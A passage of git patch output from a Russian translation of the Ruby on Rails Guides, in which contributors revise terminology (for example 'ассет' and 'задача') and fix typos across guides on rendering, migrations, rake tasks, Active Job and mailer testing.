особенность, например, при работе с большим количеством статичного содержимого, который было бы неудобно вложить в словари YAML или Ruby. Хотя имейте в виду, что любое изменение, которое вы в дальнейшем сделаете в шаблоне, должно быть распространено на все локали. diff --git a/source/layouts_and_rendering.md b/source/layouts_and_rendering.md index 708bdd0a..35953da7 100644 --- a/source/layouts_and_rendering.md +++ b/source/layouts_and_rendering.md @@ -601,7 +601,7 @@ end ### Использование `redirect_to` -Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ресурс) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшену index фотографий вашего приложения с помощью этого вызова: +Другой способ управлять возвратом отклика на HTTP-запрос - с помощью `redirect_to`. Как вы видели, `render` сообщает Rails, какую вьюху (или иной ассет) использовать при построении отклика. Метод `redirect_to` делает нечто совершенно отличное: он говорит браузеру послать новый запрос по другому URL. Например, можно перенаправить из любого места, где сейчас выполняется код, к экшену index фотографий вашего приложения с помощью этого вызова: ```ruby redirect_to photos_url @@ -728,13 +728,13 @@ Cache-Control: no-cache Когда Rails рендерит вьюху как отклик, он делает это путем объединения вьюхи с текущим макетом, используя правила для нахождения текущего макета, которые были рассмотрены ранее. В макетах у вас есть доступ к трем инструментам для объединения различных кусочков результата для формирования общего отклика: -* Теги ресурсов +* Теги ассетов * `yield` и `content_for` * Партиалы -### Хелперы ресурсных тегов +### Хелперы ассетных тегов -Хелперы ресурсных тегов предоставляют методы для генерации HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ресурсных тегов: +Хелперы ассетных тегов предоставляют методы для генерации HTML, связывающие вьюхи с лентами новостей, JavaScript, таблицами стилей, изображениями, видео и аудио. В Rails доступно шесть хелперов ассетных тегов: * `auto_discovery_link_tag` * `javascript_include_tag` @@ -745,7 +745,7 @@ Cache-Control: no-cache Эти теги можно использовать в макетах или других вьюхах, хотя `auto_discovery_link_tag`, `javascript_include_tag` и `stylesheet_link_tag` как правило используются в области `` макета. -WARNING: Хелперы ресурсных тегов _не_ проверяют существование ресурсов по заданному расположению; они просто предполагают, что вы знаете, что делаете, и генерируют ссылку. +WARNING: Хелперы ассетных тегов _не_ проверяют существование ассетов по заданному расположению; они просто предполагают, что вы знаете, что делаете, и генерируют ссылку. #### Присоединение каналов с помощью `auto_discovery_link_tag` @@ -782,7 +782,7 @@ Rails тогда выдаст такой тег `script`: ``` -Затем запрос к этому ресурсу будет обслужен гемом Sprockets. +Затем запрос к этому ассету будет обслужен гемом Sprockets. Чтобы включить несколько файлов, таких как `app/assets/javascripts/main.js` и `app/assets/javascripts/columns.js` за один раз: diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index adb1269d..bdd67cd4 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -236,7 +236,7 @@ config.middleware.delete Rack::MethodOverride **`Sprockets::Rails::QuietAssets`** -* Подавляет вывод логгера для запросов актива (asset requests). +* Подавляет вывод логгера для запросов ассета. **`Rails::Rack::Logger`** diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index d9b4e09b..5e89a025 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -406,7 +406,7 @@ end ```ruby # Установите `:info`, соответствующий текущему значению по умолчанию, или -# ecnfyjdbnt `:debug` для переключения в будущее значение по умолчанию. +# установите `:debug` для переключения в будущее значение по умолчанию. config.log_level = :info ``` @@ -1109,7 +1109,7 @@ config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport Также найдите в своих настройках сред `config.action_dispatch.best_standards_support`, и уберите эту строчку, если она есть. -* В Rails 4.0 при прекомпиляции ресурсов не будут больше автоматически копироваться не-JS/CSS ресурсы из `vendor/assets` и `lib/assets`. Разработчики приложений Rails и engine-ов должны поместить эти ресурсы в `app/assets` или настроить `config.assets.precompile`. +* В Rails 4.0 при прекомпиляции ассетов не будут больше автоматически копироваться не-JS/CSS ассеты из `vendor/assets` и `lib/assets`. Разработчики приложений Rails и engine-ов должны поместить эти ассеты в `app/assets` или настроить `config.assets.precompile`. * В Rails 4.0 вызывается `ActionController::UnknownFormat`, когда экшн не обрабатывает формат запроса. По умолчанию исключение обрабатывается, откликаясь с помощью 406 Not Acceptable, но теперь это можно переопределить. В Rails 3 всегда возвращался 406 Not Acceptable. Без возможности переопределения. @@ -1242,7 +1242,7 @@ config.assets.enabled = true config.assets.version = '1.0' ``` -Если ваше приложение использует маршрут "/assets" для ресурса, можно изменить префикс, используемый для файлов, чтобы избежать конфликтов: +Если ваше приложение использует маршрут "/assets" для ресурса, можно изменить префикс, используемый для ассетов, чтобы избежать конфликтов: ```ruby # Defaults to '/assets' @@ -1334,6 +1334,6 @@ AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW' $ bin/rake db:sessions:clear ``` -### Убрать опции :cache и :concat в ресурсных хелперах во вьюхах +### Убрать опции :cache и :concat в ассетных хелперах во вьюхах -* Вместе с Asset Pipeline опции :cache и :concat больше не используются, удалите их из вьюх. +* Вместе с файлопроводом опции :cache и :concat больше не используются, удалите эти опции из вьюх. diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index 5b49eab2..144913da 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -16,7 +16,7 @@ Чтобы понять Ajax, нужно сперва понять, что обычно делает браузер. -Когда вы переходите на `http://localhost:3000` в своем браузере, браузер (ваш 'клиент') осуществляет запрос к серверу. Он парсит отклик, затем получает все связанные файлы ресурсов, такие как файлы JavaScript, таблицы стилей и изображения. Затем он собирает страницу. Если вы нажмете на ссылку, он сделает тоже самое: получит страницу, получит файлы ресурсов, сложит их вместе, отобразит результаты. Это называется 'цикл запроса'. +Когда вы переходите на `http://localhost:3000` в своем браузере, браузер (ваш 'клиент') осуществляет запрос к серверу. Он парсит отклик, затем получает все связанные ассеты, такие как файлы JavaScript, таблицы стилей и изображения. Затем он собирает страницу. Если вы нажмете на ссылку, он сделает тоже самое: получит страницу, получит ассеты, сложит их вместе, отобразит результаты. Это называется 'цикл запроса'. JavaScript также может осуществлять запросы к серверу и парсить отклики. У него также есть возможность обновить информацию на странице. Объединив эти две силы, программист JavaScript может изготовить веб-страницу, обновляющую лишь части себя, без необходимости получения полных данных с сервера. Эту мощную технологию мы называем Ajax. From ca90518dad81a86af1ebbac590ec9585d9f17d74 Mon Sep 17 00:00:00 2001 From: Anikin Artyom Date: Wed, 16 Aug 2017 14:46:09 +0500 Subject: [PATCH 332/932] Fix misspelling in caching external dependencies --- source/caching_with_rails.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/caching_with_rails.md b/source/caching_with_rails.md index 175fbcbd..33e2a3d7 100644 --- a/source/caching_with_rails.md +++ b/source/caching_with_rails.md @@ -192,7 +192,7 @@ render partial: "documents/document", collection: @project.documents.where(publi ### Внешние зависимости -Если вы используете метод хелпера, например, внутри кэшируемого блока, и затем обновляете хелпер, вам также нужно будет ударить кэш. Неважно как вы сделаете это, но MD5 файла шаблона должен измениться. Одна из рекомендаций, явно указать в комментарии, наподобие: +Если вы используете метод хелпера, например, внутри кэшируемого блока, и затем обновляете хелпер, вам также нужно будет удалить кэш. Неважно как вы сделаете это, но MD5 файла шаблона должен измениться. Одна из рекомендаций, явно указать в комментарии, наподобие: ```html+erb <%# Helper Dependency Updated: Jul 28, 2015 at 7pm %> From d8aa915c3ca89bf5202255ca76fa15ac595f45a4 Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Wed, 16 Aug 2017 14:31:54 +0300 Subject: [PATCH 333/932] job-task --- .yaspellerrc | 1 - source/3_0_release_notes.md | 8 ++++---- source/4_0_release_notes.md | 2 +- source/4_1_release_notes.md | 7 +++---- source/4_2_release_notes.md | 4 ++-- source/5_0_release_notes.md | 2 +- source/action_controller_overview.md | 2 +- source/action_mailer_basics.md | 6 ++++-- source/active_job_basics.md | 8 ++++---- source/active_record_migrations.md | 8 ++++---- source/active_support_core_extensions.md | 2 +- source/asset_pipeline.md | 4 ++-- source/command_line.md | 2 +- source/configuring.md | 4 ++-- source/generators.md | 6 +++--- source/getting_started.md | 2 +- source/rails_on_rack.md | 2 +- source/testing.md | 12 ++++++------ 18 files changed, 41 insertions(+), 41 deletions(-) diff --git a/.yaspellerrc b/.yaspellerrc index 601e43a3..55680e7a 100644 --- a/.yaspellerrc +++ b/.yaspellerrc @@ -208,7 +208,6 @@ "стаб(а|е|у|ы|ах|ов|ом|ами|)", "стэк(а|е|у|ы|ах|ов|ом|ами|)", "суффикс(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными)", - "таск(а|е|у|ы|ах|ов|ом|ами|)", "тикет(а|е|у|ы|ах|ов|ом|ами|)", "токен(а|е|у|ы|ах|ов|ом|ами|)", "тредобезопас(ны|ная|ное|ной|ную|ные|ным|ный|ных|ного|ному|ными|ности|ность)", diff --git a/source/3_0_release_notes.md b/source/3_0_release_notes.md index 7c85a32e..1a2f15cf 100644 --- a/source/3_0_release_notes.md +++ b/source/3_0_release_notes.md @@ -62,7 +62,7 @@ $ rails g scaffold post title:string # вместо script/generate scaffold pos Для помощи в процессе обновления был создан плагин [Rails Upgrade](https://github.com/rails/rails_upgrade), для автоматизации его части. -Просто установите плагин, затем запустите `rake rails:upgrade:check` для проверки, какие части вашего приложения следует обновить (с ссылками на информацию, как это сделать). Он также предлагает задание по генерации `Gemfile`, основанного на текущих вызовах `config.gem`, и задание по генерации нового маршрутного файла из старого. Чтобы получить плагин, просто запустите: +Просто установите плагин, затем запустите `rake rails:upgrade:check` для проверки, какие части вашего приложения следует обновить (с ссылками на информацию, как это сделать). Он также предлагает задачу по генерации `Gemfile`, основанного на текущих вызовах `config.gem`, и задачу по генерации нового маршрутного файла из старого. Чтобы получить плагин, просто запустите: ```bash $ ruby script/plugin install git://github.com/rails/rails_upgrade.git @@ -114,7 +114,7 @@ Railties был обновлен, чтобы предоставить совме ### Все основные компоненты Rails были разделены -В связи со слиянием Merb и Rails, одной из крупных работ было устранение тесно связанных вместе основных компонентов Rails. Это было достигнуто, и теперь все основные компоненты Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого основного компонента (например DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ основные компоненты Rails, и могут расширять и улучшать его как угодно. +В связи со слиянием Merb и Rails, одним из заданий было устранение тесно связанных вместе основных компонентов Rails. Это было достигнуто, и теперь все основные компоненты Rails используют то же API, что вы можете использовать для своих плагинов. Это означает, что каждый сделанный вами плагин или замена любого основного компонента (например DataMapper или Sequel) имеют доступ ко всему функционалу, к которому имеют доступ основные компоненты Rails, и могут расширять и улучшать его как угодно. Подробнее: - [The Great Decoupling](http://yehudakatz.com/2009/07/19/rails-3-the-great-decoupling/) @@ -180,7 +180,7 @@ Railties * Сейчас сгенерированные скаффолды используют партиалы `_form`, вместо повторения кода во вьюхах edit и new. * Сейчас формы скаффолда используют `f.submit`, возвращающий "Create ModelName" или "Update ModelName", в зависимости от состояния переданного объекта. -Наконец, ряд улучшений был добавлен в rake-таски: +Наконец, ряд улучшений был добавлен в задачи rake: * Был добавлен `rake db:forward`, позволяющий откатить ваши миграции с возвратом отдельно или в группах. * Был добавлен `rake routes CONTROLLER=x`, позволяющий просмотреть маршруты только к одному контроллеру. @@ -191,7 +191,7 @@ Railties * `RAILS_ENV` в пользу `Rails.env`, и * `RAILS_DEFAULT_LOGGER` в пользу `Rails.logger`. -`PLUGIN/rails/tasks` и `PLUGIN/tasks` больше не загружаются, все таски теперь должны быть в `PLUGIN/lib/tasks`. +`PLUGIN/rails/tasks` и `PLUGIN/tasks` больше не загружаются, все задачи теперь должны быть в `PLUGIN/lib/tasks`. Подробнее: diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index c8d1d44b..5ddde50e 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -123,7 +123,7 @@ Railties ### Значимые изменения -* Новые места для тестов `test/models`, `test/helpers`, `test/controllers` и `test/mailers`. Также добавлены соответствующие rake-таски. ([Pull Request](https://github.com/rails/rails/pull/7878)) +* Новые места для тестов `test/models`, `test/helpers`, `test/controllers` и `test/mailers`. Также добавлены соответствующие задачи rake. ([Pull Request](https://github.com/rails/rails/pull/7878)) * Исполняемые файлы приложения теперь находятся в директории `bin/`. Запустите `rake rails:update:bin` чтобы получить `bin/bundle`, `bin/rails` и `bin/rake`. diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index 10963323..5895e030 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -25,8 +25,7 @@ ### Spring Application Preloader -Spring является прелоадером для Rails приложений. Он увеличивает скорость разработки, храня -ваше приложение запущенным в бэкграунде, поэтому при прогоне тестов, rake тасков или миграций, теперь загружать приложение каждый раз больше нет необходимости. +Spring является прелоадером для Rails приложений. Он увеличивает скорость разработки, храня приложение запущенным в бэкграунде, поэтому при запуске тестов, задач rake или миграций, теперь загружать приложение каждый раз больше нет необходимости. Новое Rails 4.1 приложение будет по умолчанию идти с "springified" бинстабами. Это означает, что `bin/rails` и `bin/rake`, будут автоматически использовать преимущества предзагруженной среды spring. @@ -232,7 +231,7 @@ Railties ### Удалено -* Удалён rake таск `update:application_controller`. +* Удалёна задача rake `update:application_controller`. * Удалён устаревший `Rails.application.railties.engines`. @@ -242,7 +241,7 @@ Railties * Удалёна устаревшая `config.whiny_nils` опция. -* Удалёны устаревшие rake таски для запуска тестов: `rake test:uncommitted` и +* Удалёны устаревшая задача rake для запуска тестов: `rake test:uncommitted` и `rake test:recent`. ### Значимые изменения diff --git a/source/4_2_release_notes.md b/source/4_2_release_notes.md index a9886d8b..821ce68d 100644 --- a/source/4_2_release_notes.md +++ b/source/4_2_release_notes.md @@ -29,7 +29,7 @@ Active Job — это новый фреймворк в Rails 4.2. Это обы Часто заданиям необходимо принимать объекты Active Record в качестве аргументов. Active Job передает ссылки на объект как URI (единые идентификаторы ресурса) вместо маршализации самого объекта. Новая библиотека [Global ID](https://github.com/rails/globalid) создает URI и ищет объекты, на которые они ссылаются. Передача объектов Active Record как атрибутов задания внутри устроена как использование Global ID. -Например, если `trashable` это объект Active Record, тогда это задание будет работать без необходимости сериализации: +Например, если `trashable` это объект Active Record, тогда это задание будет запускаться без необходимости сериализации: ```ruby class TrashableCleanupJob < ActiveJob::Base @@ -585,7 +585,7 @@ Active Record [2](https://github.com/rails/rails/pull/15786), [3](https://github.com/rails/rails/pull/15788)) -* Представлен таск Rake `db:purge` для опустошения базы данных для текущей среды. +* Представлена задача Rake `db:purge` для опустошения базы данных для текущей среды. ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d)) * Представлен `ActiveRecord::Base#validate!`, вызывающий `ActiveRecord::RecordInvalid`, если запись невалидна. diff --git a/source/5_0_release_notes.md b/source/5_0_release_notes.md index 374c5ebe..1fa1673e 100644 --- a/source/5_0_release_notes.md +++ b/source/5_0_release_notes.md @@ -721,7 +721,7 @@ Active Job * Добавлена возможность настроить адаптер очереди для каждого задания без взаимного влияния друг на друга. ([Pull Request](https://github.com/rails/rails/pull/16992)) -* Сгенерированное задания теперь по умолчанию наследуется от `app/jobs/application_job.rb`. +* Сгенерированное задание теперь по умолчанию наследуется от `app/jobs/application_job.rb`. ([Pull Request](https://github.com/rails/rails/pull/19034)) * Позволяет `DelayedJob`, `Sidekiq`, `qu`, `que` и `queue_classic` возвращать `ActiveJob::Base` id задания как `provider_job_id`. diff --git a/source/action_controller_overview.md b/source/action_controller_overview.md index fe68c7cf..0241b1ce 100644 --- a/source/action_controller_overview.md +++ b/source/action_controller_overview.md @@ -379,7 +379,7 @@ NOTE: Изменение секретного ключа при использо В контроллере можно получить доступ к сессии с помощью метода экземпляра `session`. -NOTE: Сессии лениво загружаются. Если не получать доступ к сессиям в коде экшна, они не будут загружаться. Следовательно, никогда не придется отключать сессии, просто не обращайтесь к ним, и они будут выполнять свою работу. +NOTE: Сессии лениво загружаются. Если не получать доступ к сессиям в коде экшна, они не будут загружаться. Следовательно, никогда не придется отключать сессии, просто не обращайтесь к ним, и они будут выполнять свое задание. Значения сессии хранятся, используя пары ключ/значение, подобно хэшу: diff --git a/source/action_mailer_basics.md b/source/action_mailer_basics.md index e1887187..896a0f99 100644 --- a/source/action_mailer_basics.md +++ b/source/action_mailer_basics.md @@ -141,7 +141,9 @@ $ bin/rails generate scaffold user name email login $ bin/rails db:migrate ``` -Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.welcome_email` сразу после того, как пользователь был успешно сохранен: +Теперь, когда у нас есть модель user, с которой мы играем, надо всего лишь отредактировать `app/controllers/users_controller.rb`, чтобы поручить `UserMailer` доставлять email каждому вновь созданному пользователю, изменив экшн `create` и вставив вызов `UserMailer.welcome_email` сразу после того, как пользователь был успешно сохранен. + +Action Mailer прекрасно интегрирован с Active Job, поэтому можно отправлять электронную почту вне цикла запрос-ответ, таким образом что пользователю не нужно ждать выполнения отправки: ```ruby class UsersController < ApplicationController @@ -660,7 +662,7 @@ class SandboxEmailInterceptor end ``` -Чтобы перехватчик начал работать, его необходимо зарегистрировать с помощью фреймворка Action Mailer. Это можно сделать в файле инициализатора `config/initializers/sandbox_email_interceptor.rb` +Прежде чем перехватчик сможет выполнить свое задание, необходимо зарегистрировать его с помощью фреймворка Action Mailer. Это можно сделать в файле инициализатора `config/initializers/sandbox_email_interceptor.rb` ```ruby if Rails.env.staging? diff --git a/source/active_job_basics.md b/source/active_job_basics.md index f647519d..5caa181c 100644 --- a/source/active_job_basics.md +++ b/source/active_job_basics.md @@ -25,9 +25,9 @@ Active Job - это фреймворк для объявления задани NOTE: По умолчанию, Rails поставляется с асинхронной реализацией очереди, запускающей задания с помощью пула тредов внутри процесса. Задания будут запущены асинхронно, но любые задания в очереди будут потеряны при перезагрузке. Создание задания ---------------- +---------------- -Этот раздел представляет пошаговое руководство для создании задания и добавления его в очередь. +Этот раздел предоставляет пошаговое руководство к созданию задания и добавления его в очередь. ### Создание задания @@ -90,9 +90,9 @@ GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') Вот и все! Запуск заданий ------------- +-------------- -Чтобы поместить задание в очередь и выполнить его в production, вам необходимо настроить бэкенд для очереди, т.е. вам нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails предоставляет только внутрипроцессную систему очереди, хранящую задания в памяти. Если процесс упадет, или машина будет перезагружена, тогда в асинхронном бэкенде по умолчанию все оставшиеся задания будут потеряны. Это может быть нормальным для маленьких приложений или некритичных заданий, но для большей части серьезных приложений нужно подобрать сохраняющий бэкенд. +Чтобы поместить задания в очередь и выполнить их в production, необходимо настроить бэкенд для очереди, т.е. нужно решить, какую стороннюю библиотеку для очереди Rails будет использовать. Rails предоставляет только внутрипроцессную систему очереди, хранящую задания в памяти. Если процесс упадет, или машина будет перезагружена, тогда в асинхронном бэкенде по умолчанию все оставшиеся задания будут потеряны. Это может быть нормальным для маленьких приложений или некритичных заданий, но для большей части серьезных приложений нужно подобрать сохраняющий бэкенд. ### Бэкенды diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index af6e5315..0f84b08f 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -596,9 +596,9 @@ NOTE: Если хотите добавить ограничения `CHECK`, к Rails предоставляет ряд задач bin/rails для запуска определенных наборов миграций. -Самая первая команда bin/rails, относящаяся к миграциям, которую вы будете использовать, это `rails db:migrate`. В своей основной форме она всего лишь запускает метод `change` или `up` для всех миграций, которые еще не были запущены. Если таких миграций нет, она выходит. Она запустит эти миграции в порядке, основанном на дате миграции. +Самая первая миграция, относящаяся к задаче bin/rails, которую будем использовать, это `rails db:migrate`. В своей основной форме она всего лишь запускает метод `change` или `up` для всех миграций, которые еще не были запущены. Если таких миграций нет, она выходит. Она запустит эти миграции в порядке, основанном на дате миграции. -Заметьте, что запуск `db:migrate` также вызывает задачу `db:schema:dump`, которая обновляет ваш файл `db/schema.rb` в соответствии со структурой вашей базы данных. +Заметьте, что запуск задачи `db:migrate` также вызывает задачу `db:schema:dump`, которая обновляет ваш файл `db/schema.rb` в соответствии со структурой вашей базы данных. Если вы определите целевую версию, Active Record запустит требуемые миграции (методы up, down или change), пока не достигнет требуемой версии. Версия это числовой префикс у файла миграции. Например, чтобы мигрировать к версии 20080906120000, запустите: @@ -610,7 +610,7 @@ $ bin/rails db:migrate VERSION=20080906120000 ### Откат -Обычная задача это откатить последнюю миграцию. Например, вы сделали ошибку и хотите исправить ее. Можно отследить версию предыдущей миграции и произвести миграцию до нее, но можно поступить проще, запустив: +Обычная задача - это откатить последнюю миграцию. Например, вы сделали ошибку и хотите исправить ее. Можно отследить версию предыдущей миграции и произвести миграцию до нее, но можно поступить проще, запустив: ```bash $ bin/rails db:rollback @@ -630,7 +630,7 @@ $ bin/rails db:rollback STEP=3 $ bin/rails db:migrate:redo STEP=3 ``` -Ни одна из этих команд bin/rails не может сделать ничего такого, чего нельзя было бы сделать с `db:migrate`. Они просто более удобны, так как вам не нужно явно указывать версию миграции, к которой нужно мигрировать. +Ни одна из этих задач bin/rails не может сделать ничего такого, чего нельзя было бы сделать с `db:migrate`. Они просто более удобны, так как вам не нужно явно указывать версию миграции, к которой нужно мигрировать. ### Установка базы данных diff --git a/source/active_support_core_extensions.md b/source/active_support_core_extensions.md index 9b78cf78..9dbfb471 100644 --- a/source/active_support_core_extensions.md +++ b/source/active_support_core_extensions.md @@ -3617,7 +3617,7 @@ Time.utc(1582, 10, 3) + 5.days С помощью метода класса `File.atomic_write` можно записать в файл способом, предотвращающим от просмотра недописанного содержимого. -Имя файла передается как аргумент, и в метод вкладываются обработчики файла, открытого для записи. Как только блок выполняется, `atomic_write` закрывает файл и завершает свою работу. +Имя файла передается как аргумент, и в метод вкладываются обработчики файла, открытого для записи. Как только блок выполняется, `atomic_write` закрывает файл и завершает свое задание. Например, Action Pack использует этот метод для записи файлов кэша ассетов, таких как `all.css`: diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md index 834cc118..fda830ce 100644 --- a/source/asset_pipeline.md +++ b/source/asset_pipeline.md @@ -455,7 +455,7 @@ NOTE: В нормальных обстоятельствах опция `config. Скомпилированные ассеты записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. -Эту задачу можно вызвать на сервере во время деплоймента, чтобы создать скомпилированные версии ассетов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. +Эту задачу можно вызвать на сервере во время деплоя, чтобы создать скомпилированные версии ассетов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. Задача такая: @@ -552,7 +552,7 @@ location ~ ^/assets/ { Однако есть три оговорки: -* Вы не должны запускать задачу Capistrano, которая компилирует ассеты. +* Вы не должны запускать задачу деплоя с помощью Capistrano, которая прекомпилирует ассеты. * Вы должны убедиться, что в вашей системе разработки присутствуют все необходимые компрессоры или минифайеры. * Вы должны изменить следующую конфигурационную настройку приложения: diff --git a/source/command_line.md b/source/command_line.md index 2e20a072..cdfee301 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -538,7 +538,7 @@ Rails поставляется с набором тестов по имени `M ### Пользовательские задачи Rake -Пользовательские задачи rake имеют расширение `.rake` и располагаются в`Rails.root/lib/tasks`. Эти пользовательские задачи rake можно создать с помощью команды `bin/rails generate task`. +Пользовательские задачи rake имеют расширение `.rake` и располагаются в `Rails.root/lib/tasks`. Эти пользовательские задачи rake можно создать с помощью команды `bin/rails generate task`. ```ruby desc "I am short, but comprehensive description for my cool task" diff --git a/source/configuring.md b/source/configuring.md index 5903238a..0d01f965 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -46,7 +46,7 @@ Rails будет использовать эту конкретную настр Эти конфигурационные методы вызываются на объекте `Rails::Railtie`, таком как подкласс `Rails::Engine` или `Rails::Application`. -* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ выполнен для рейк-тасков. Полезно для конфигурирования настроек, установленных другими инициализаторами: +* `config.after_initialize` принимает блок, который будет запущен _после того_, как Rails закончит инициализацию приложения. Это включает инициализацию самого фреймворка, engine-ов и всех инициализаторов приложения из `config/initializers`. Отметьте, что этот блок _будет_ запущен для rake задач. Полезно для конфигурирования настроек, установленных другими инициализаторами: ```ruby config.after_initialize do @@ -379,7 +379,7 @@ config.middleware.delete Rack::MethodOverride Адаптер SQLite3Adapter добавляет еще одну опцию конфигурации: -* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer` указывает, хранятся ли булевые значения в базах данных sqlite3 как 1 и 0 или 't' и 'f'. Выходное значение `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`, установленное в false устарело. Базы данных SQLite использовали 't' и 'f' для сериализации булевых значений, и следует преобразовать старые данные в 1 и 0 (их нативную булевую сериализацию), прежде чем устанавливать этот флаг в true. Преобразование можно выполнить с помощью rake task +* `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer` указывает, хранятся ли булевые значения в базах данных sqlite3 как 1 и 0 или 't' и 'f'. Выходное значение `ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer`, установленное в false устарело. Базы данных SQLite использовали 't' и 'f' для сериализации булевых значений, и следует преобразовать старые данные в 1 и 0 (их нативную булевую сериализацию), прежде чем устанавливать этот флаг в true. Преобразование может быть выполнено с помощью настройки Rake задачи, которая запускает ```ruby ExampleModel.where("boolean_column = 't'").update_all(boolean_column: 1) diff --git a/source/generators.md b/source/generators.md index 597a0655..4d1adc84 100644 --- a/source/generators.md +++ b/source/generators.md @@ -656,7 +656,7 @@ generate "scaffold", "forums title:string description:text" ### `rake` -Запускает указанный таск Rake. +Запускает указанную задачу Rake. ```ruby rake "db:migrate" @@ -664,8 +664,8 @@ rake "db:migrate" Доступные опции: -* `:env` - Указывает среду, в которой запускать таск rake. -* `:sudo` - Запускать ли этот таск с помощью `sudo`. По умолчанию `false`. +* `:env` - Указывает среду, в которой запускается эта задача rake. +* `:sudo` - Запускать ли эту задачу с помощью `sudo`. По умолчанию `false`. ### `route` diff --git a/source/getting_started.md b/source/getting_started.md index 8c53c5e1..0e8da403 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -119,7 +119,7 @@ $ cd blog |lib/ |Внешние модули для вашего приложения.| |log/ |Файлы логов приложения.| |public/ |Единственная папка, которая доступна извне как есть. Содержит статичные файлы и скомпилированные ассеты.| -|Rakefile |Этот файл содержит набор команд, которые могут быть запущены в командной строке. Определения команд производятся во всех компонентах Rails. Вместо изменения Rakefile, вы можете добавить свои собственные задачи, добавив файлы в директорию lib/tasks вашего приложения.| +|Rakefile |Этот файл находит и загружает задачи, которые могут быть запущены в командной строке. Определенная задача доступна во всех компонентах Rails. Вместо изменения Rakefile, можно добавить свои собственные задачи, добавив файлы в директорию lib/tasks приложения.| |README.md |Это вводный мануал для вашего приложения. Его следует отредактировать, чтобы рассказать остальным, что ваше приложение делает, как его настроить, и т.п.| |test/ |Юнит-тесты, фикстуры и прочий аппарат тестирования. Это раскрывается в руководстве [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications)| |tmp/ |Временные файлы (такие как файлы кэша и pid)| diff --git a/source/rails_on_rack.md b/source/rails_on_rack.md index bdd67cd4..e6f03840 100644 --- a/source/rails_on_rack.md +++ b/source/rails_on_rack.md @@ -27,7 +27,7 @@ Rails on Rack ### `rails server` -`rails server` выполняет основную работу по созданию объекта `Rack::Server` и запуску веб-сервера. +`rails server` выполняет основную задачу по созданию объекта `Rack::Server` и запуску веб-сервера. Вот как `rails server` создает экземпляр `Rack::Server` diff --git a/source/testing.md b/source/testing.md index d8038028..072cedbe 100644 --- a/source/testing.md +++ b/source/testing.md @@ -1276,9 +1276,9 @@ end Более того, так как этот класс теста расширяет `ActionView::TestCase`, у вас есть доступ к методам хелпера Rails, таким как `link_to` или `pluralize`. (testing-your-mailers) Тестирование почтовых рассыльщиков ----------------------------------------------------------- +--------------------------------------------------------- -Тестирование классов рассыльщика требует несколько специфичных инструментов для тщательной работы. +Тестирование классов рассыльщика требует несколько специфичных инструментов для тщательного выполнения задания. ### Держим почтовик под контролем @@ -1351,7 +1351,7 @@ NOTE: Массив `ActionMailer::Base.deliveries` перезагружаетс ### Функциональное тестирование -Функциональное тестирование рассыльщиков предполагает не только проверку того, что тело письма, получатели и так далее корректны. В функциональных тестах писем мы вызываем методы доставки почты и проверяем, что надлежащие электронные письма присоединяются в перечень доставки. Это позволяет с большой долей уверенности предположить, что методы доставки работают. Возможно, вам будет более интересным, отправляет ли ваша бизнес логика электронные письма тогда, когда это от нее ожидается. Например, можете проверить, что операция по приглашению друзей надлежаще рассылает письма: +Функциональное тестирование рассыльщиков предполагает не только проверку того, что тело письма, получатели и так далее корректны. В функциональных тестах писем мы вызываем методы доставки почты и проверяем, что надлежащие электронные письма присоединяются в перечень доставки. Это позволяет с большой долей уверенности предположить, что методы доставки выполняют свое задание. Возможно, более интересно, отправляет ли бизнес-логика электронную почту тогда, когда это от нее ожидается. Например, можно проверить, что операция по приглашению друзей надлежаще рассылает 